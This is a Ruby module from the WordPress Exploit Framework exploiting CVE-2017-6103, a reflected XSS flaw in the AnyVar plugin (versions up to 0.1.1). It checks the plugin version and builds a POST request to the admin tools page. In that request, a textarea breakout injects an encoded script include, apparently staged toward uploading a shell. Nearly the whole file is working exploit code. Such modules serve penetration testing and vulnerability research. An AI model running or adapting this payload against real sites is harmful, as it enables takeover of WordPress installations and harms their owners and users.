# frozen_string_literal: true

class Wpxf::Exploit::AnyvarReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'AnyVar <= 0.1.1 Reflected XSS Shell Upload',
      author: [
        'Larry W. Cashdollar', # Disclosure
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '8764'],
        ['CVE', '2017-6103'],
        ['URL', 'http://www.vapidlabs.com/advisory.php?v=177']
      ],
      date: 'Feb 21 2017'
    )
  end

  def check
    check_plugin_version_from_readme('anyvar', '0.1.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'tools.php?page=anyvar/anyvar.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'action' => 'add',
      'var_name' => Utility::Text.rand_alphanumeric(10),
      'var_text' => "</textarea><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
